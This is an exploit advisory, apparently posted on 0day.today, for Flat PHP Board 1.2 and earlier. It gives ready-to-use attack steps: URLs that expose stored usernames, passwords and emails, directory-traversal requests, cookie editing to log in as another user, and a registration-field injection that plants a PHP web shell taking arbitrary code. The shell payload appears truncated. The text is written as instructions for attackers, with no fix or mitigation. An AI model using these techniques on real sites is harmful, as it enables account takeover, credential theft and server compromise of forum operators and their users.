============================================== Flat PHP Board <= 1.2 Multiple Vulnerabilities ============================================== --------------------------------------------------------------- ____ __________ __ ____ __ /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ | | | \ | |/ \ \___| | /_____/ | || | |___|___| /\__| /______ /\___ >__| |___||__| \/\______| \/ \/ --------------------------------------------------------------- Flat PHP Board <= 1.2 Multiple Vulnerabilities --------------------------------------------------------------- #By KiNgOfThEwOrLd --------------------------------------------------------------- Remote User Credentials Disclosure PoC: No much to say...an attacker can get his target's informations visiting http:// [target]/[flat_php_board_path]/users/[target_username].php The informations will be showed in this way: [username] [password] [email] --------------------------------------------------------------- Multiple Remote Command Executions / File Uploading PoC: When we register a new account, flat php board make a file like /users/ [username].php All the fields (Username, Password, Email) are not correctly filtred. Then, an attacker can executes a malicious code on the vulnerable server. Exploit: '; /* This will make a shell in http://[target]/[flat_php_board_path]/31337.php Usage: http://[target]/[flat_php_board_path]/31337.php?r0x=[php_code] */ ?> Nb. also all the fields of index.php?a=profile is not correctly parsed. --------------------------------------------------------------- Remote Directory Traversal / Source Disclosure http://[target]/[flat_php_board_path]index.php?a=topic&topic=../[arbitrary php file] http://[target]/[flat_php_board_path]index.php?a=viewprofile&username=../ [arbitrary php file] --------------------------------------------------------------- Remote Cookie Manipoulation / Privilege Escalation PoC: An attacker can login with an arbitrary account editing the fpb_username cookie. In fact, if you try to replace your username with your target username and refresh, you will be logged in like him. But now, if you try to edit your profile or something like that, you will generate an error like: Error with cookies. password/username not correct. Don't worry, if you go to index.php?a=profile you will find your victim credentials. Then, viewing the source code you can view your victim password as: Password: > --------------------------------------------------------------- Ok, i think that's all :S --------------------------------------------------------------- # 0day.today [2018-04-07] #

Query Builder